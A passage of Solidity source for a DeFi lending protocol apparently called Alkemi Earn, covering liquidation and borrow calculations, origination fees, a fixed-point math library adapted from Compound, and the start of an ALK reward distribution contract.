* @return Return values are expressed in 1e18 scale
*/
function calculateDiscountedRepayToEvenAmount(
address targetAccount,
Exp memory underwaterAssetPrice,
address assetBorrow
) internal view returns (Error, uint256) {
Error err;
Exp memory _accountLiquidity; // unused return value from calculateAccountLiquidity
Exp memory accountShortfall_TargetUser;
Exp memory collateralRatioMinusLiquidationDiscount; // collateralRatio - liquidationDiscount
Exp memory discountedCollateralRatioMinusOne; // collateralRatioMinusLiquidationDiscount - 1, aka collateralRatio - liquidationDiscount - 1
Exp memory discountedPrice_UnderwaterAsset;
Exp memory rawResult;
// we calculate the target user's shortfall, denominated in Ether, that the user is below the collateral ratio
(
err,
_accountLiquidity,
accountShortfall_TargetUser
) = calculateAccountLiquidity(targetAccount);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, collateralRatioMinusLiquidationDiscount) = subExp(
collateralRatio,
liquidationDiscount
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, discountedCollateralRatioMinusOne) = subExp(
collateralRatioMinusLiquidationDiscount,
Exp({mantissa: mantissaOne})
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, discountedPrice_UnderwaterAsset) = mulExp(
underwaterAssetPrice,
discountedCollateralRatioMinusOne
);
// calculateAccountLiquidity multiplies underwaterAssetPrice by collateralRatio
// discountedCollateralRatioMinusOne < collateralRatio
// so if underwaterAssetPrice * collateralRatio did not overflow then
// underwaterAssetPrice * discountedCollateralRatioMinusOne can't overflow either
assert(err == Error.NO_ERROR);
/* The liquidator may not repay more than what is allowed by the closeFactor */
uint256 borrowBalance = getBorrowBalance(targetAccount, assetBorrow);
Exp memory maxClose;
(err, maxClose) = mulScalar(
Exp({mantissa: closeFactorMantissa}),
borrowBalance
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(maxClose, discountedPrice_UnderwaterAsset);
// It's theoretically possible an asset could have such a low price that it truncates to zero when discounted.
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @dev discountedBorrowDenominatedCollateral = [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
* @return Return values are expressed in 1e18 scale
*/
function calculateDiscountedBorrowDenominatedCollateral(
Exp memory underwaterAssetPrice,
Exp memory collateralPrice,
uint256 supplyCurrent_TargetCollateralAsset
) internal view returns (Error, uint256) {
// To avoid rounding issues, we re-order and group the operations so we do 1 division and only at the end
// [supplyCurrent * (Oracle price for the collateral)] / [ (1 + liquidationDiscount) * (Oracle price for the borrow) ]
Error err;
Exp memory onePlusLiquidationDiscount; // (1 + liquidationDiscount)
Exp memory supplyCurrentTimesOracleCollateral; // supplyCurrent * Oracle price for the collateral
Exp memory onePlusLiquidationDiscountTimesOracleBorrow; // (1 + liquidationDiscount) * Oracle price for the borrow
Exp memory rawResult;
(err, onePlusLiquidationDiscount) = addExp(
Exp({mantissa: mantissaOne}),
liquidationDiscount
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, supplyCurrentTimesOracleCollateral) = mulScalar(
collateralPrice,
supplyCurrent_TargetCollateralAsset
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, onePlusLiquidationDiscountTimesOracleBorrow) = mulExp(
onePlusLiquidationDiscount,
underwaterAssetPrice
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(
supplyCurrentTimesOracleCollateral,
onePlusLiquidationDiscountTimesOracleBorrow
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @dev returns closeBorrowAmount_TargetUnderwaterAsset * (1+liquidationDiscount) * priceBorrow/priceCollateral
* @return Return values are expressed in 1e18 scale
*/
function calculateAmountSeize(
Exp memory underwaterAssetPrice,
Exp memory collateralPrice,
uint256 closeBorrowAmount_TargetUnderwaterAsset
) internal view returns (Error, uint256) {
// To avoid rounding issues, we re-order and group the operations to move the division to the end, rather than just taking the ratio of the 2 prices:
// underwaterAssetPrice * (1+liquidationDiscount) *closeBorrowAmount_TargetUnderwaterAsset) / collateralPrice
// re-used for all intermediate errors
Error err;
// (1+liquidationDiscount)
Exp memory liquidationMultiplier;
// assetPrice-of-underwaterAsset * (1+liquidationDiscount)
Exp memory priceUnderwaterAssetTimesLiquidationMultiplier;
// priceUnderwaterAssetTimesLiquidationMultiplier * closeBorrowAmount_TargetUnderwaterAsset
// or, expanded:
// underwaterAssetPrice * (1+liquidationDiscount) * closeBorrowAmount_TargetUnderwaterAsset
Exp memory finalNumerator;
// finalNumerator / priceCollateral
Exp memory rawResult;
(err, liquidationMultiplier) = addExp(
Exp({mantissa: mantissaOne}),
liquidationDiscount
);
// liquidation discount will be enforced < 1, so 1 + liquidationDiscount can't overflow.
assert(err == Error.NO_ERROR);
(err, priceUnderwaterAssetTimesLiquidationMultiplier) = mulExp(
underwaterAssetPrice,
liquidationMultiplier
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, finalNumerator) = mulScalar(
priceUnderwaterAssetTimesLiquidationMultiplier,
closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(finalNumerator, collateralPrice);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param asset The market asset to borrow
* @param amount The amount to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrow(address asset, uint256 amount)
public
nonReentrant
returns (uint256)
{
if (paused) {
return
fail(Error.CONTRACT_PAUSED, FailureInfo.BORROW_CONTRACT_PAUSED);
}
refreshAlkBorrowIndex(asset, msg.sender, false);
BorrowLocalVars memory localResults;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[msg.sender][asset];
Error err;
uint256 rateCalculationResultCode;
// Fail if market not supported
if (!market.isSupported) {
return
fail(
Error.MARKET_NOT_SUPPORTED,
FailureInfo.BORROW_MARKET_NOT_SUPPORTED
);
}
// We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
localResults.newBorrowIndex
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
// Calculate origination fee.
(err, localResults.borrowAmountWithFee) = calculateBorrowAmountWithFee(
amount
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_ORIGINATION_FEE_CALCULATION_FAILED
);
}
uint256 orgFeeBalance = localResults.borrowAmountWithFee - amount;
// Add the `borrowAmountWithFee` to the `userBorrowCurrent` to get `userBorrowUpdated`
(err, localResults.userBorrowUpdated) = add(
localResults.userBorrowCurrent,
localResults.borrowAmountWithFee
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow with fee
(err, localResults.newTotalBorrows) = addThenSub(
market.totalBorrows,
localResults.userBorrowUpdated,
borrowBalance.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED
);
}
// Check customer liquidity
(
err,
localResults.accountLiquidity,
localResults.accountShortfall
) = calculateAccountLiquidity(msg.sender);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED
);
}
// Fail if customer already has a shortfall
if (!isZeroExp(localResults.accountShortfall)) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.BORROW_ACCOUNT_SHORTFALL_PRESENT
);
}
// Would the customer have a shortfall after this borrow (including origination fee)?
// We calculate the eth-equivalent value of (borrow amount + fee) of asset and fail if it exceeds accountLiquidity.
// This implements: `[(collateralRatio*oraclea*borrowAmount)*(1+borrowFee)] > accountLiquidity`
(
err,
localResults.ethValueOfBorrowAmountWithFee
) = getPriceForAssetAmountMulCollatRatio(
asset,
localResults.borrowAmountWithFee
);
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.BORROW_AMOUNT_VALUE_CALCULATION_FAILED);
}
if (
lessThanExp(
localResults.accountLiquidity,
localResults.ethValueOfBorrowAmountWithFee
)
) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.BORROW_AMOUNT_LIQUIDITY_SHORTFALL
);
}
// Fail gracefully if protocol has insufficient cash
localResults.currentCash = getCash(asset);
// We need to calculate what the updated cash will be after we transfer out to the user
(err, localResults.updatedCash) = sub(localResults.currentCash, amount);
if (err != Error.NO_ERROR) {
// Note: we ignore error here and call this token insufficient cash
return
fail(
Error.TOKEN_INSUFFICIENT_CASH,
FailureInfo.BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED
);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
// We calculate the newSupplyIndex, but we have newBorrowIndex already
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalBorrows = localResults.newTotalBorrows;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowTaken` event
borrowBalance.principal = localResults.userBorrowUpdated;
borrowBalance.interestIndex = localResults.newBorrowIndex;
originationFeeBalance[msg.sender][asset] += orgFeeBalance;
if (asset != wethAddress) {
// Withdrawal should happen as Ether directly
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferOut(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.BORROW_TRANSFER_OUT_FAILED);
}
} else {
withdrawEther(msg.sender, amount); // send Ether to user
}
emit BorrowTaken(
msg.sender,
asset,
amount,
localResults.startingBalance,
localResults.borrowAmountWithFee,
borrowBalance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice supply `amount` of `asset` (which must be supported) to `admin` in the protocol
* @dev add amount of supported asset to admin's account
* @param asset The market asset to supply
* @param amount The amount to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function supplyOriginationFeeAsAdmin(
address asset,
address user,
uint256 amount,
uint256 newSupplyIndex
) private {
refreshAlkSupplyIndex(asset, admin, false);
uint256 originationFeeRepaid = 0;
if (originationFeeBalance[user][asset] != 0) {
if (amount < originationFeeBalance[user][asset]) {
originationFeeRepaid = amount;
} else {
originationFeeRepaid = originationFeeBalance[user][asset];
}
Balance storage balance = supplyBalances[admin][asset];
SupplyLocalVars memory localResults; // Holds all our uint calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
originationFeeBalance[user][asset] -= originationFeeRepaid;
(err, localResults.userSupplyCurrent) = calculateBalance(
balance.principal,
balance.interestIndex,
newSupplyIndex
);
revertIfError(err);
(err, localResults.userSupplyUpdated) = add(
localResults.userSupplyCurrent,
originationFeeRepaid
);
revertIfError(err);
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply
(err, localResults.newTotalSupply) = addThenSub(
markets[asset].totalSupply,
localResults.userSupplyUpdated,
balance.principal
);
revertIfError(err);
// Save market updates
markets[asset].totalSupply = localResults.newTotalSupply;
// Save user updates
localResults.startingBalance = balance.principal;
balance.principal = localResults.userSupplyUpdated;
balance.interestIndex = newSupplyIndex;
emit SupplyOrgFeeAsAdmin(
admin,
asset,
originationFeeRepaid,
localResults.startingBalance,
localResults.userSupplyUpdated
);
}
}
/**
* @notice Set the address of the Reward Control contract to be triggered to accrue ALK rewards for participants
* @param _rewardControl The address of the underlying reward control contract
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function setRewardControlAddress(address _rewardControl)
external
returns (uint256)
{
// Check caller = admin
require(
msg.sender == admin,
"SET_REWARD_CONTROL_ADDRESS_ADMIN_CHECK_FAILED"
);
require(
address(rewardControl) != _rewardControl,
"The same Reward Control address"
);
require(
_rewardControl != address(0),
"RewardControl address cannot be empty"
);
rewardControl = RewardControlInterface(_rewardControl);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice Trigger the underlying Reward Control contract to accrue ALK supply rewards for the supplier on the specified market
* @param market The address of the market to accrue rewards
* @param supplier The address of the supplier to accrue rewards
* @param isVerified Verified / Public protocol
*/
function refreshAlkSupplyIndex(
address market,
address supplier,
bool isVerified
) internal {
if (address(rewardControl) == address(0)) {
return;
}
rewardControl.refreshAlkSupplyIndex(market, supplier, isVerified);
}
/**
* @notice Trigger the underlying Reward Control contract to accrue ALK borrow rewards for the borrower on the specified market
* @param market The address of the market to accrue rewards
* @param borrower The address of the borrower to accrue rewards
* @param isVerified Verified / Public protocol
*/
function refreshAlkBorrowIndex(
address market,
address borrower,
bool isVerified
) internal {
if (address(rewardControl) == address(0)) {
return;
}
rewardControl.refreshAlkBorrowIndex(market, borrower, isVerified);
}
/**
* @notice Get supply and borrows for a market
* @param asset The market asset to find balances of
* @return updated supply and borrows
*/
function getMarketBalances(address asset)
public
view
returns (uint256, uint256)
{
Error err;
uint256 newSupplyIndex;
uint256 marketSupplyCurrent;
uint256 newBorrowIndex;
uint256 marketBorrowCurrent;
Market storage market = markets[asset];
// Calculate the newSupplyIndex, needed to calculate market's supplyCurrent
(err, newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newSupplyIndex and stored principal to calculate the accumulated balance
(err, marketSupplyCurrent) = calculateBalance(
market.totalSupply,
market.supplyIndex,
newSupplyIndex
);
revertIfError(err);
// Calculate the newBorrowIndex, needed to calculate market's borrowCurrent
(err, newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newBorrowIndex and stored principal to calculate the accumulated balance
(err, marketBorrowCurrent) = calculateBalance(
market.totalBorrows,
market.borrowIndex,
newBorrowIndex
);
revertIfError(err);
return (marketSupplyCurrent, marketBorrowCurrent);
}
/**
* @dev Function to revert in case of an internal exception
*/
function revertIfError(Error err) internal pure {
require(
err == Error.NO_ERROR,
"Function revert due to internal exception"
);
}
}
// File: contracts/RewardControlStorage.sol
pragma solidity 0.4.24;
contract RewardControlStorage {
struct MarketState {
// @notice The market's last updated alkSupplyIndex or alkBorrowIndex
uint224 index;
// @notice The block number the index was last updated at
uint32 block;
}
// @notice A list of all markets in the reward program mapped to respective verified/public protocols
// @notice true => address[] represents Verified Protocol markets
// @notice false => address[] represents Public Protocol markets
mapping(bool => address[]) public allMarkets;
// @notice The index for checking whether a market is already in the reward program
// @notice The first mapping represents verified / public market and the second gives the existence of the market
mapping(bool => mapping(address => bool)) public allMarketsIndex;
// @notice The rate at which the Reward Control distributes ALK per block
uint256 public alkRate;
// @notice The portion of alkRate that each market currently receives
// @notice The first mapping represents verified / public market and the second gives the alkSpeeds
mapping(bool => mapping(address => uint256)) public alkSpeeds;
// @notice The ALK market supply state for each market
// @notice The first mapping represents verified / public market and the second gives the supplyState
mapping(bool => mapping(address => MarketState)) public alkSupplyState;
// @notice The ALK market borrow state for each market
// @notice The first mapping represents verified / public market and the second gives the borrowState
mapping(bool => mapping(address => MarketState)) public alkBorrowState;
// @notice The snapshot of ALK index for each market for each supplier as of the last time they accrued ALK
// @notice verified/public => market => supplier => supplierIndex
mapping(bool => mapping(address => mapping(address => uint256)))
public alkSupplierIndex;
// @notice The snapshot of ALK index for each market for each borrower as of the last time they accrued ALK
// @notice verified/public => market => borrower => borrowerIndex
mapping(bool => mapping(address => mapping(address => uint256)))
public alkBorrowerIndex;
// @notice The ALK accrued but not yet transferred to each participant
mapping(address => uint256) public alkAccrued;
// @notice To make sure initializer is called only once
bool public initializationDone;
// @notice The address of the current owner of this contract
address public owner;
// @notice The proposed address of the new owner of this contract
address public newOwner;
// @notice The underlying AlkemiEarnVerified contract
AlkemiEarnVerified public alkemiEarnVerified;
// @notice The underlying AlkemiEarnPublic contract
AlkemiEarnPublic public alkemiEarnPublic;
// @notice The ALK token address
address public alkAddress;
// Hard cap on the maximum number of markets
uint8 public MAXIMUM_NUMBER_OF_MARKETS;
}
// File: contracts/ExponentialNoError.sol
// Cloned from https://github.com/compound-finance/compound-money-market/blob/master/contracts/Exponential.sol -> Commit id: 241541a
pragma solidity 0.4.24;
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract ExponentialNoError {
uint256 constant expScale = 1e18;
uint256 constant doubleScale = 1e36;
uint256 constant halfExpScale = expScale / 2;
uint256 constant mantissaOne = expScale;
struct Exp {
uint256 mantissa;
}
struct Double {
uint256 mantissa;
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) internal pure returns (uint256) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mul_ScalarTruncate(Exp memory a, uint256 scalar)
internal
pure
returns (uint256)
{
Exp memory product = mul_(a, scalar);
return truncate(product);
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mul_ScalarTruncateAddUInt(
Exp memory a,
uint256 scalar,
uint256 addend
) internal pure returns (uint256) {
Exp memory product = mul_(a, scalar);
return add_(truncate(product), addend);
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) internal pure returns (bool) {
return value.mantissa == 0;
}
function safe224(uint256 n, string memory errorMessage)
internal
pure
returns (uint224)
{
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b)
internal
pure
returns (Exp memory)
{
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b)
internal
pure
returns (Double memory)
{
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint256 a, uint256 b) internal pure returns (uint256) {
return add_(a, b, "addition overflow");
}
function add_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b)
internal
pure
returns (Exp memory)
{
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b)
internal
pure
returns (Double memory)
{
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint256 a, uint256 b) internal pure returns (uint256) {
return sub_(a, b, "subtraction underflow");
}
function sub_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b)
internal
pure
returns (Exp memory)
{
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint256 b) internal pure returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint256 a, Exp memory b) internal pure returns (uint256) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b)
internal
pure
returns (Double memory)
{
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint256 b)
internal
pure
returns (Double memory)
{
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint256 a, Double memory b) internal pure returns (uint256) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint256 a, uint256 b) internal pure returns (uint256) {
return mul_(a, b, "multiplication overflow");
}
function mul_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b)
internal
pure
returns (Exp memory)
{
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint256 b) internal pure returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint256 a, Exp memory b) internal pure returns (uint256) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b)
internal
pure
returns (Double memory)
{
return
Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint256 b)
internal
pure
returns (Double memory)
{
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint256 a, Double memory b) internal pure returns (uint256) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint256 a, uint256 b) internal pure returns (uint256) {
return div_(a, b, "divide by zero");
}
function div_(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint256 a, uint256 b)
internal
pure
returns (Double memory)
{
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
// File: contracts/RewardControl.sol
pragma solidity 0.4.24;
contract RewardControl is
RewardControlStorage,
RewardControlInterface,
ExponentialNoError
{
/**
* Events
*/
/// @notice Emitted when a new ALK speed is calculated for a market
event AlkSpeedUpdated(
address indexed market,
uint256 newSpeed,
bool isVerified
);
/// @notice Emitted when ALK is distributed to a supplier
event DistributedSupplierAlk(
address indexed market,
address indexed supplier,
uint256 supplierDelta,
uint256 supplierAccruedAlk,
uint256 supplyIndexMantissa,
bool isVerified
);
/// @notice Emitted when ALK is distributed to a borrower
event DistributedBorrowerAlk(
address indexed market,
address indexed borrower,
uint256 borrowerDelta,
uint256 borrowerAccruedAlk,
uint256 borrowIndexMantissa,
bool isVerified
);
/// @notice Emitted when ALK is transferred to a participant
event TransferredAlk(
address indexed participant,
uint256 participantAccrued,
address market,
bool isVerified
);
/// @notice Emitted when the owner of the contract is updated
event OwnerUpdate(address indexed owner, address indexed newOwner);
/// @notice Emitted when a market is added
event MarketAdded(
address indexed market,
uint256 numberOfMarkets,
bool isVerified
);
/// @notice Emitted when a market is removed
event MarketRemoved(
address indexed market,
uint256 numberOfMarkets,
bool isVerified
);
/**
* Constants
*/
/**
* Constructor
*/
/**
* @notice `RewardControl` is the contract to calculate and distribute reward tokens
* @notice This contract uses Openzeppelin Upgrades plugin to make use of the upgradeability functionality using proxies
* @notice Hence this contract has an 'initializer' in place of a 'constructor'
* @notice Make sure to add new global variables only in a derived contract of RewardControlStorage, inherited by this contract
* @notice Also make sure to do extensive testing while modifying any structs and enums during an upgrade
*/
function initializer(
address _owner,
address _alkemiEarnVerified,
address _alkemiEarnPublic,
address _alkAddress
) public {
require(
_owner != address(0) &&
_alkemiEarnVerified != address(0) &&
_alkemiEarnPublic != address(0) &&
_alkAddress != address(0),
"Inputs cannot be 0x00"
);
if (initializationDone == false) {
initializationDone = true;
owner = _owner;
alkemiEarnVerified = AlkemiEarnVerified(_alkemiEarnVerified);
alkemiEarnPublic = AlkemiEarnPublic(_alkemiEarnPublic);
alkAddress = _alkAddress;
// Total Liquidity rewards for 4 years = 70,000,000
// Liquidity per year = 70,000,000/4 = 17,500,000
// Divided by blocksPerYear (assuming 13.3 seconds avg. block time) = 17,500,000/2,371,128 = 7.380453522542860000
// 7380453522542860000 (Tokens scaled by token decimals of 18) divided by 2 (half for lending and half for borrowing)
alkRate = 3690226761271430000;
MAXIMUM_NUMBER_OF_MARKETS = 16;
}
}
/**
* Modifiers
*/
/**
* @notice Make sure that the sender is only the owner of the contract
*/
modifier onlyOwner() {
require(msg.sender == owner, "non-owner");
_;
}
/**
* Public functions
*/
/**
* @notice Refresh ALK supply index for the specified market and supplier
* @param market The market whose supply index to update
* @param supplier The address of the supplier to distribute ALK to
* @param isVerified Specifies if the market is from verified or public protocol
*/
function refreshAlkSupplyIndex(
address market,
address supplier,
bool isVerified
) external {
if (!allMarketsIndex[isVerified][market]) {
return;
}
refreshAlkSpeeds();
updateAlkSupplyIndex(market, isVerified);
distributeSupplierAlk(market, supplier, isVerified);
}
/**
* @notice Refresh ALK borrow index for the specified market and borrower
* @param market The market whose borrow index to update
* @param borrower The address of the borrower to distribute ALK to
* @param isVerified Specifies if the market is from verified or public protocol
*/
function refreshAlkBorrowIndex(
address market,
address borrower,
bool isVerified
) external {
if (!allMarketsIndex[isVerified][market]) {
return;
}
refreshAlkSpeeds();
updateAlkBorrowIndex(market, isVerified);
distributeBorrowerAlk(market, borrower, isVerified);
}
/**
* @notice Claim all the ALK accrued by holder in all markets
* @param holder The address to claim ALK for
*/
function claimAlk(address holder) external {
claimAlk(holder, allMarkets[true], true);
claimAlk(holder, allMarkets[false], false);
}
/**
* @notice Claim all the ALK accrued by holder by refreshing the indexes on the specified market only
* @param holder The address to claim ALK for
* @param market The address of the market to refresh the indexes for
* @param isVerified Specifies if the market is from verified or public protocol
*/
function claimAlk(
address holder,
address market,
bool isVerified
) external {
require(allMarketsIndex[isVerified][market], "Market does not exist");
address[] memory markets = new address[](1);
markets[0] = market;
claimAlk(holder, markets, isVerified);
}
/**
* Private functions
*/
/**
* @notice Recalculate and update ALK speeds for all markets
*/
function refreshMarketLiquidity()
internal
view
returns (Exp[] memory, Exp memory)
{
Exp memory totalLiquidity = Exp({mantissa: 0});
Exp[] memory marketTotalLiquidity = new Exp[](
add_(allMarkets[true].length, allMarkets[false].length)
);
address currentMarket;
uint256 verifiedMarketsLength = allMarkets[true].length;
for (uint256 i = 0; i < allMarkets[true].length; i++) {
currentMarket = allMarkets[true][i];
uint256 currentMarketTotalSupply = mul_(
getMarketTotalSupply(currentMarket, true),
alkemiEarnVerified.assetPrices(currentMarket)
);
uint256 currentMarketTotalBorrows = mul_(
getMarketTotalBorrows(currentMarket, true),
alkemiEarnVerified.assetPrices(currentMarket)
);
Exp memory currentMarketTotalLiquidity = Exp({
mantissa: add_(
currentMarketTotalSupply,
currentMarketTotalBorrows
)
});
marketTotalLiquidity[i] = currentMarketTotalLiquidity;
totalLiquidity = add_(totalLiquidity, currentMarketTotalLiquidity);
}
for (uint256 j = 0; j < allMarkets[false].length; j++) {
currentMarket = allMarkets[false][j];
currentMarketTotalSupply = mul_(
getMarketTotalSupply(currentMarket, false),
alkemiEarnVerified.assetPrices(currentMarket)
);
currentMarketTotalBorrows = mul_(
getMarketTotalBorrows(currentMarket, false),
alkemiEarnVerified.assetPrices(currentMarket)
);
currentMarketTotalLiquidity = Exp({
mantissa: add_(
currentMarketTotalSupply,
currentMarketTotalBorrows
)
});
marketTotalLiquidity[
verifiedMarketsLength + j
] = currentMarketTotalLiquidity;
totalLiquidity = add_(totalLiquidity, currentMarketTotalLiquidity);
}
return (marketTotalLiquidity, totalLiquidity);
}
/**
* @notice Recalculate and update ALK speeds for all markets
*/
function refreshAlkSpeeds() public {
address currentMarket;
(
Exp[] memory marketTotalLiquidity,
Exp memory totalLiquidity
) = refreshMarketLiquidity();
uint256 newSpeed;
uint256 verifiedMarketsLength = allMarkets[true].length;
for (uint256 i = 0; i < allMarkets[true].length; i++) {
currentMarket = allMarkets[true][i];
newSpeed = totalLiquidity.mantissa > 0
? mul_(alkRate, div_(marketTotalLiquidity[i], totalLiquidity))
: 0;
alkSpeeds[true][currentMarket] = newSpeed;
emit AlkSpeedUpdated(currentMarket, newSpeed, true);
}
for (uint256 j = 0; j < allMarkets[false].length; j++) {
currentMarket = allMarkets[false][j];
newSpeed = totalLiquidity.mantissa > 0
? mul_(
alkRate,
div_(
marketTotalLiquidity[verifiedMarketsLength + j],
totalLiquidity
)
)
: 0;
alkSpeeds[false][currentMarket] = newSpeed;
